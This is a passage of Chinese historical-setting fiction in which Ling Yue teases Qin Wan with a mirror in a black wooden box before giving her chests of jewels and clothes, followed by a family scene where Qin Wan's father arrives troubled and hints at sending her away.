秦婉一听,如遭雷击,立刻将镜子非常小心的放回黑木匣子,又将黑木匣子小心翼翼地放回凌月的手中,仿佛手中拿着什么极其烫手的红薯一般,整个人都要跳起来了,“不是!你......你这么贵重的东西怎么能给我呢?我绝对不能收,你快点快点放好。” 凌月见她如临大敌的样子忍不住哈哈大笑了起来,原本认真严肃的样子一扫而空,整个人笑得弯起了身子,粉色的裙摆犹如蝴蝶的翅膀,扇个不停,星星点点的眼泪都从眼角渗出来。 凌月一边哈哈大笑,一边拿出帕子擦拭掉泪珠,好像是恶作剧得逞了一般,噘着嘴道,“我和你说着玩的,没想到啊!居然真的骗到你啦!” 闻言,秦婉浑身紧绷的劲都散了,一屁股坐在椅子上,长长地舒了一口气,眼神幽怨地看向她,“你吓死我了!” 凌月随手将盒子放回到秦婉的手心,语气漫不经心道,“盒子确实是我祖婆婆给我的,但是镜子嘛,就是我在街边小摊子上随便买的,我觉得挺好看的,你随手收着吧。” “啊?这不好吧......” 秦婉还来不及说些别的,凌月就迫不及待地拉着她走向前厅摆放着的两个大箱子,一打开就是璀璨夺目、艳丽逼人。 “这些才是我送给你的礼物!” 满满一大箱的金银珠宝,一大箱的精美衣物! 秦婉看得眼睛都直了,半晌才回过神来,拉着凌月的手,嗔怪道:“你......这也太破费了,送这么多东西给我。” 凌月却满不在乎地摆摆手,“咱俩谁跟谁呀,这些东西我多得是,留着也没什么用,你穿着好看,戴着也好看,正合适。” 秦婉心中感动,紧紧地抱住凌月,“谢谢你,月儿,你对我真好,我也有很多漂亮的衣服首饰!你要是看得上的话......” 凌月笑着拍拍她的背,张牙舞爪道,“那我也不客气咯哈哈哈。” 看着秦婉肯定的点头,凌月忍不住紧紧握住她的手,眼神诚恳而又认真,“我们也算是生死之交了吧?你是我的第一个好姐妹,以后我们还要一直做好姐妹的,对吗?” 秦婉没动,眼见凌月越来越紧张,才突然开口笑道,“这是当然啦!” 两个人嬉笑着抱在了一起,谈笑间,秦婉的眼神却又不由自主的落在了那方黑木匣子上。 “宝儿啊,采荷说这个月来你时常练习得太过,起得越来越早,睡眠越来越少,这可不好啊!” 秦母看着秦婉微红的眼眶心疼的又是摸摸她的肩膀,又是摸摸她的脑袋,“前段时间好不容易才养好了伤,瞧瞧现在又瘦了。” 秦婉笑了起来,伸手捏了捏自己的脸蛋,“肉嘟嘟的,明明都胖了嘛。” 正在此时,啪嗒一声,秦父推开了房门大跨步走了进来,眉紧紧蹙着,眼神凌厉,明显带着一身的火气,但是抬眼看到夫人和女儿又强压了下去,尽力温和的开口:“宝儿,你......你想不想太奶奶?”。 太奶奶身体不好,在老家晋阳的山里养老,离着京城有一千余里路,明显秦父是听到了什么消息才想着把自己送去老家。 秦婉从秦母的怀里直起身,认真的看着秦父摇摇头,“爹爹,无论发生什么,你们在哪里我就在哪里”。 秦母看着秦父不同寻常的严肃样子,意识到恐怕是发生了什么不同寻常的事情,站起身合上了门,转身又倒了一杯清茶放到秦父的面前,“今日不上朝,宫里的贵人们都去观星台为天下祈福了,总不会是......观星台又出事了?!”。